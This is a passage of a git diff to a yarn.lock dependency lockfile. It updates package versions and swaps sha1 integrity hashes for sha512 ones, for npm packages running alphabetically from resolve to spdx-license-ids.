-  integrity sha512-rArEXAgsBG4UgRGcynxWIWKFvh/XZCcS8UJdHhwy91zwAvCZIbcs+vAbflgBnNjYMs/i/i+/Ux6IZhML1yPvxg==
+resolve@^1.10.0, resolve@^1.22.4, resolve@^1.3.2:
+  version "1.22.10"
+  resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.10.tgz#b663e83ffb09bbf2386944736baae803029b8b39"
+  integrity sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==
   dependencies:
-    is-core-module "^2.1.0"
-    path-parse "^1.0.6"
+    is-core-module "^2.16.0"
+    path-parse "^1.0.7"
+    supports-preserve-symlinks-flag "^1.0.0"
 
 restore-cursor@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/restore-cursor/-/restore-cursor-2.0.0.tgz#9f7ee287f82fd326d4fd162923d62129eee0dfaf"
-  integrity sha1-n37ih/gv0ybU/RYpI9YhKe7g368=
+  integrity sha512-6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q==
   dependencies:
     onetime "^2.0.0"
     signal-exit "^3.0.2"
@@ -7013,7 +7374,7 @@ ret@~0.1.10:
 right-align@^0.1.1:
   version "0.1.3"
   resolved "https://registry.yarnpkg.com/right-align/-/right-align-0.1.3.tgz#61339b722fe6a3515689210d24e14c96148613ef"
-  integrity sha1-YTObci/mo1FWiSENJOFMlhSGE+8=
+  integrity sha512-yqINtL/G7vs2v+dFIZmFUDbnVyFUJFKd6gK22Kgo6R4jfJGFtisKyncWDDULgjfqf4ASQuIQyjJ7XZ+3aWpsAg==
   dependencies:
     align-text "^0.1.1"
 
@@ -7047,33 +7408,61 @@ run-async@^2.2.0:
 rx-lite-aggregates@^4.0.8:
   version "4.0.8"
   resolved "https://registry.yarnpkg.com/rx-lite-aggregates/-/rx-lite-aggregates-4.0.8.tgz#753b87a89a11c95467c4ac1626c4efc4e05c67be"
-  integrity sha1-dTuHqJoRyVRnxKwWJsTvxOBcZ74=
+  integrity sha512-3xPNZGW93oCjiO7PtKxRK6iOVYBWBvtf9QHDfU23Oc+dLIQmAV//UnyXV/yihv81VS/UqoQPk4NegS8EFi55Hg==
   dependencies:
     rx-lite "*"
 
 rx-lite@*, rx-lite@^4.0.8:
   version "4.0.8"
   resolved "https://registry.yarnpkg.com/rx-lite/-/rx-lite-4.0.8.tgz#0b1e11af8bc44836f04a6407e92da42467b79444"
-  integrity sha1-Cx4Rr4vESDbwSmQH6S2kJGe3lEQ=
+  integrity sha512-Cun9QucwK6MIrp3mry/Y7hqD1oFqTYLQ4pGxaHTjIdaFDWRGGLikqp6u8LcWJnzpoALg9hap+JGk8sFIUuEGNA==
 
-safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
-  version "5.1.2"
-  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
-  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
+safe-array-concat@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/safe-array-concat/-/safe-array-concat-1.1.3.tgz#c9e54ec4f603b0bbb8e7e5007a5ee7aecd1538c3"
+  integrity sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    has-symbols "^1.1.0"
+    isarray "^2.0.5"
 
-safe-buffer@>=5.1.0, safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@^5.2.1, safe-buffer@~5.2.0:
+safe-buffer@5.2.1, safe-buffer@>=5.1.0, safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@^5.2.1, safe-buffer@~5.2.0:
   version "5.2.1"
   resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
   integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
 
+safe-buffer@~5.1.0, safe-buffer@~5.1.1:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
+  integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
+
+safe-push-apply@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/safe-push-apply/-/safe-push-apply-1.0.0.tgz#01850e981c1602d398c85081f360e4e6d03d27f5"
+  integrity sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==
+  dependencies:
+    es-errors "^1.3.0"
+    isarray "^2.0.5"
+
+safe-regex-test@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/safe-regex-test/-/safe-regex-test-1.1.0.tgz#7f87dfb67a3150782eaaf18583ff5d1711ac10c1"
+  integrity sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    is-regex "^1.2.1"
+
 safe-regex@^1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/safe-regex/-/safe-regex-1.1.0.tgz#40a3669f3b077d1e943d44629e157dd48023bf2e"
-  integrity sha1-QKNmnzsHfR6UPURinhV91IAjvy4=
+  integrity sha512-aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==
   dependencies:
     ret "~0.1.10"
 
-"safer-buffer@>= 2.1.2 < 3", "safer-buffer@>= 2.1.2 < 3.0.0", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0:
+"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0:
   version "2.1.2"
   resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
   integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
@@ -7081,7 +7470,7 @@ safe-regex@^1.1.0:
 sane@~1.6.0:
   version "1.6.0"
   resolved "https://registry.yarnpkg.com/sane/-/sane-1.6.0.tgz#9610c452307a135d29c1fdfe2547034180c46775"
-  integrity sha1-lhDEUjB6E10pwf3+JUcDQYDEZ3U=
+  integrity sha512-r9zOMa72GMYfOja8DZvDrKQjKE7vxQD2AHFVV/cg05JmAhKoumAjrW/0QbKw6kGebgcG6HV/3u+EI8ZqrAPT3Q==
   dependencies:
     anymatch "^1.3.0"
     exec-sh "^0.2.0"
@@ -7091,15 +7480,25 @@ sane@~1.6.0:
     walker "~1.0.5"
     watch "~0.10.0"
 
-sax@^1.2.1, sax@~1.2.1:
+sax@^1.2.1:
+  version "1.4.1"
+  resolved "https://registry.yarnpkg.com/sax/-/sax-1.4.1.tgz#44cc8988377f126304d3b3fc1010c733b929ef0f"
+  integrity sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==
+
+sax@~1.2.1:
   version "1.2.4"
   resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9"
   integrity sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==
 
+scheduler@^0.25.0:
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.25.0.tgz#336cd9768e8cceebf52d3c80e3dcf5de23e7e015"
+  integrity sha512-xFVuu11jh+xcO7JOAGJNOXld8/TcEHK/4CituBUeUb5hqxJLj9YuemAEuvm9gQ/+pgXYfbQuqAkiYu+u7YEsNA==
+
 schema-utils@^0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-0.3.0.tgz#f5877222ce3e931edae039f17eb3716e7137f8cf"
-  integrity sha1-9YdyIs4+kx7a4DnxfrNxbnE3+M8=
+  integrity sha512-QaVYBaD9U8scJw2EBWnCBY+LJ0AD+/2edTaigDs0XLDLBfJmSUK9KGqktg1rb32U3z4j/XwvFwHHH1YfbYFd7Q==
   dependencies:
     ajv "^5.0.0"
 
@@ -7109,47 +7508,47 @@ select-hose@^2.0.0:
   integrity sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo=
 
 selfsigned@^1.9.1:
-  version "1.10.8"
-  resolved "https://registry.yarnpkg.com/selfsigned/-/selfsigned-1.10.8.tgz#0d17208b7d12c33f8eac85c41835f27fc3d81a30"
-  integrity sha512-2P4PtieJeEwVgTU9QEcwIRDQ/mXJLX8/+I3ur+Pg16nS8oNbrGxEso9NyYWy8NAmXiNl4dlAp5MwoNeCWzON4w==
+  version "1.10.14"
+  resolved "https://registry.yarnpkg.com/selfsigned/-/selfsigned-1.10.14.tgz#ee51d84d9dcecc61e07e4aba34f229ab525c1574"
+  integrity sha512-lkjaiAye+wBZDCBsu5BGi0XiLRxeUlsGod5ZP924CRSEoGuZAw/f7y9RKu28rwTfiHVhdavhB0qH0INV6P1lEA==
   dependencies:
     node-forge "^0.10.0"
 
 semver-diff@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/semver-diff/-/semver-diff-2.1.0.tgz#4bbb8437c8d37e4b0cf1a68fd726ec6d645d6d36"
-  integrity sha1-S7uEN8jTfksM8aaP1ybsbWRdbTY=
+  integrity sha512-gL8F8L4ORwsS0+iQ34yCYv///jsOq0ZL7WP55d1HnJ32o7tyFYEFQZQA22mrLIacZdU6xecaBBZ+uEiffGNyXw==
   dependencies:
     semver "^5.0.3"
 
 "semver@2 || 3 || 4 || 5", semver@^5.0.3, semver@^5.1.0, semver@^5.3.0, semver@^5.5.0:
-  version "5.7.1"
-  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
-  integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
+  version "5.7.2"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8"
+  integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==
 
-send@0.17.1:
-  version "0.17.1"
-  resolved "https://registry.yarnpkg.com/send/-/send-0.17.1.tgz#c1d8b059f7900f7466dd4938bdc44e11ddb376c8"
-  integrity sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==
+send@0.19.0:
+  version "0.19.0"
+  resolved "https://registry.yarnpkg.com/send/-/send-0.19.0.tgz#bbc5a388c8ea6c048967049dbeac0e4a3f09d7f8"
+  integrity sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==
   dependencies:
     debug "2.6.9"
-    depd "~1.1.2"
-    destroy "~1.0.4"
+    depd "2.0.0"
+    destroy "1.2.0"
     encodeurl "~1.0.2"
     escape-html "~1.0.3"
     etag "~1.8.1"
     fresh "0.5.2"
-    http-errors "~1.7.2"
+    http-errors "2.0.0"
     mime "1.6.0"
-    ms "2.1.1"
-    on-finished "~2.3.0"
+    ms "2.1.3"
+    on-finished "2.4.1"
     range-parser "~1.2.1"
-    statuses "~1.5.0"
+    statuses "2.0.1"
 
 serve-index@^1.7.2:
   version "1.9.1"
   resolved "https://registry.yarnpkg.com/serve-index/-/serve-index-1.9.1.tgz#d3768d69b1e7d82e5ce050fff5b453bea12a9239"
-  integrity sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=
+  integrity sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==
   dependencies:
     accepts "~1.3.4"
     batch "0.6.1"
@@ -7159,25 +7558,56 @@ serve-index@^1.7.2:
     mime-types "~2.1.17"
     parseurl "~1.3.2"
 
-serve-static@1.14.1:
-  version "1.14.1"
-  resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.14.1.tgz#666e636dc4f010f7ef29970a88a674320898b2f9"
-  integrity sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==
+serve-static@1.16.2:
+  version "1.16.2"
+  resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.16.2.tgz#b6a5343da47f6bdd2673848bf45754941e803296"
+  integrity sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==
   dependencies:
-    encodeurl "~1.0.2"
+    encodeurl "~2.0.0"
     escape-html "~1.0.3"
     parseurl "~1.3.3"
-    send "0.17.1"
+    send "0.19.0"
 
 serviceworker-cache-polyfill@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/serviceworker-cache-polyfill/-/serviceworker-cache-polyfill-4.0.0.tgz#de19ee73bef21ab3c0740a37b33db62464babdeb"
-  integrity sha1-3hnuc77yGrPAdAo3sz22JGS6ves=
+  integrity sha512-VMl1n99TbtKdO7DYNX0J9FQt1doo69V6fBniKC7o+CoJerbmFlQbsoxDa7P+b4b0tmpsdRIuzzS9sSJI7vFY2g==
 
 set-blocking@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
-  integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
+  integrity sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==
+
+set-function-length@^1.2.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/set-function-length/-/set-function-length-1.2.2.tgz#aac72314198eaed975cf77b2c3b6b880695e5449"
+  integrity sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    get-intrinsic "^1.2.4"
+    gopd "^1.0.1"
+    has-property-descriptors "^1.0.2"
+
+set-function-name@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/set-function-name/-/set-function-name-2.0.2.tgz#16a705c5a0dc2f5e638ca96d8a8cd4e1c2b90985"
+  integrity sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==
+  dependencies:
+    define-data-property "^1.1.4"
+    es-errors "^1.3.0"
+    functions-have-names "^1.2.3"
+    has-property-descriptors "^1.0.2"
+
+set-proto@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/set-proto/-/set-proto-1.0.0.tgz#0760dbcff30b2d7e801fd6e19983e56da337565e"
+  integrity sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==
+  dependencies:
+    dunder-proto "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
 
 set-value@^2.0.0, set-value@^2.0.1:
   version "2.0.1"
@@ -7189,20 +7619,20 @@ set-value@^2.0.0, set-value@^2.0.1:
     is-plain-object "^2.0.3"
     split-string "^3.0.1"
 
-setimmediate@^1.0.4, setimmediate@^1.0.5:
+setimmediate@^1.0.4:
   version "1.0.5"
   resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285"
-  integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=
+  integrity sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==
 
 setprototypeof@1.1.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656"
   integrity sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==
 
-setprototypeof@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683"
-  integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==
+setprototypeof@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.2.0.tgz#66c9a24a73f9fc28cbe66b09fed3d33dcaf1b424"
+  integrity sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==
 
 sha.js@^2.4.0, sha.js@^2.4.8:
   version "2.4.11"
@@ -7215,19 +7645,19 @@ sha.js@^2.4.0, sha.js@^2.4.8:
 shebang-command@^1.2.0:
   version "1.2.0"
   resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea"
-  integrity sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=
+  integrity sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==
   dependencies:
     shebang-regex "^1.0.0"
 
 shebang-regex@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3"
-  integrity sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=
+  integrity sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==
 
 shell-quote@1.6.1:
   version "1.6.1"
   resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.6.1.tgz#f4781949cce402697127430ea3b3c5476f481767"
-  integrity sha1-9HgZSczkAmlxJ0MOo7PFR29IF2c=
+  integrity sha512-V0iQEZ/uoem3NmD91rD8XiuozJnq9/ZJnbHVXHnWqP1ucAhS3yJ7sLIIzEi57wFFcK3oi3kFUC46uSyWr35mxg==
   dependencies:
     array-filter "~0.0.0"
     array-map "~0.0.0"
@@ -7239,7 +7669,52 @@ shellwords@^0.1.1:
   resolved "https://registry.yarnpkg.com/shellwords/-/shellwords-0.1.1.tgz#d6b9181c1a48d397324c84871efbcfc73fc0654b"
   integrity sha512-vFwSUfQvqybiICwZY5+DAWIPLKsWO31Q91JSKl3UYv+K5c2QRPzn0qzec6QPu1Qc9eHYItiP3NdJqNVqetYAww==
 
-signal-exit@^3.0.0, signal-exit@^3.0.2:
+side-channel-list@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/side-channel-list/-/side-channel-list-1.0.0.tgz#10cb5984263115d3b7a0e336591e290a830af8ad"
+  integrity sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+
+side-channel-map@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/side-channel-map/-/side-channel-map-1.0.1.tgz#d6bb6b37902c6fef5174e5f533fab4c732a26f42"
+  integrity sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+
+side-channel-weakmap@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz#11dda19d5368e40ce9ec2bdc1fb0ecbc0790ecea"
+  integrity sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==
+  dependencies:
+    call-bound "^1.0.2"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.5"
+    object-inspect "^1.13.3"
+    side-channel-map "^1.0.1"
+
+side-channel@^1.0.6, side-channel@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.1.0.tgz#c3fcff9c4da932784873335ec9765fa94ff66bc9"
+  integrity sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==
+  dependencies:
+    es-errors "^1.3.0"
+    object-inspect "^1.13.3"
+    side-channel-list "^1.0.0"
+    side-channel-map "^1.0.1"
+    side-channel-weakmap "^1.0.2"
+
+signal-exit@^3.0.0:
+  version "3.0.7"
+  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9"
+  integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==
+
+signal-exit@^3.0.2:
   version "3.0.3"
   resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.3.tgz#a1410c2edd8f077b08b4e253c8eacfcaf057461c"
   integrity sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==
@@ -7247,7 +7722,7 @@ signal-exit@^3.0.0, signal-exit@^3.0.2:
 slash@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/slash/-/slash-1.0.0.tgz#c41f2f6c39fc16d1cd17ad4b5d896114ae470d55"
-  integrity sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=
+  integrity sha512-3TYDR7xWt4dIqV2JauJr+EJeW356RXijHeUlO+8djJ+uBXPn8/2dpzBc8yQhh583sVvc9CvFAeQVgijsH+PNNg==
 
 slice-ansi@1.0.0:
   version "1.0.0"
@@ -7289,7 +7764,7 @@ snapdragon@^0.8.1:
 sockjs-client@1.1.5:
   version "1.1.5"
   resolved "https://registry.yarnpkg.com/sockjs-client/-/sockjs-client-1.1.5.tgz#1bb7c0f7222c40f42adf14f4442cbd1269771a83"
-  integrity sha1-G7fA9yIsQPQq3xT0RCy9Eml3GoM=
+  integrity sha512-PmPRkAYIeuRgX+ZSieViT4Z3Q23bLS2Itm/ck1tSf5P0/yVuFDiI5q9mcnpXoMdToaPSRS9MEyUx/aaBxrFzyw==
   dependencies:
     debug "^2.6.6"
     eventsource "0.1.6"
@@ -7309,7 +7784,7 @@ sockjs@0.3.19:
 sort-keys@^1.0.0:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/sort-keys/-/sort-keys-1.1.2.tgz#441b6d4d346798f1b4e49e8920adfba0e543f9ad"
-  integrity sha1-RBttTTRnmPG05J6JIK37oOVD+a0=
+  integrity sha512-vzn8aSqKgytVik0iwdBEi+zevbTYZogewTUM6dtpmGwEcdzbub/TX4bCzRhebDCRC3QzXgJsLRKB2V/Oof7HXg==
   dependencies:
     is-plain-obj "^1.0.0"
 
@@ -7337,14 +7812,14 @@ source-map-support@^0.4.15:
     source-map "^0.5.6"
 
 source-map-url@^0.4.0:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/source-map-url/-/source-map-url-0.4.0.tgz#3e935d7ddd73631b97659956d55128e87b5084a3"
-  integrity sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/source-map-url/-/source-map-url-0.4.1.tgz#0af66605a745a5a2f91cf1bbf8a7afbc283dec56"
+  integrity sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==
 
 source-map@^0.5.3, source-map@^0.5.6, source-map@^0.5.7, source-map@~0.5.1:
   version "0.5.7"
   resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc"
-  integrity sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=
+  integrity sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==
 
 source-map@^0.6.1, source-map@~0.6.0, source-map@~0.6.1:
   version "0.6.1"
@@ -7352,17 +7827,17 @@ source-map@^0.6.1, source-map@~0.6.0, source-map@~0.6.1:
   integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==
 
 spdx-correct@^3.0.0:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.1.1.tgz#dece81ac9c1e6713e5f7d1b6f17d468fa53d89a9"
-  integrity sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/spdx-correct/-/spdx-correct-3.2.0.tgz#4f5ab0668f0059e34f9c00dce331784a12de4e9c"
+  integrity sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==
   dependencies:
     spdx-expression-parse "^3.0.0"
     spdx-license-ids "^3.0.0"
 
 spdx-exceptions@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz#3f28ce1a77a00372683eade4a433183527a2163d"
-  integrity sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==
+  version "2.5.0"
+  resolved "https://registry.yarnpkg.com/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz#5d607d27fc806f66d7b64a766650fa890f04ed66"
+  integrity sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==
 
 spdx-expression-parse@^3.0.0:
   version "3.0.1"
@@ -7373,9 +7848,9 @@ spdx-expression-parse@^3.0.0:
     spdx-license-ids "^3.0.0"
 
 spdx-license-ids@^3.0.0:
-  version "3.0.7"
-  resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.7.tgz#e9c18a410e5ed7e12442a549fbd8afa767038d65"
-  integrity sha512-U+MTEOO0AiDzxwFvoa4JVnMV6mZlJKk2sBLt90s7G0Gd0Mlknc7kxEn3nuDPNZRta7O2uy8oLcZLVT+4sqNZHQ==
+  version "3.0.21"
+  resolved "https://registry.yarnpkg.com/spdx-license-ids/-/spdx-license-ids-3.0.21.tgz#6d6e980c9df2b6fc905343a3b2d702a6239536c3"
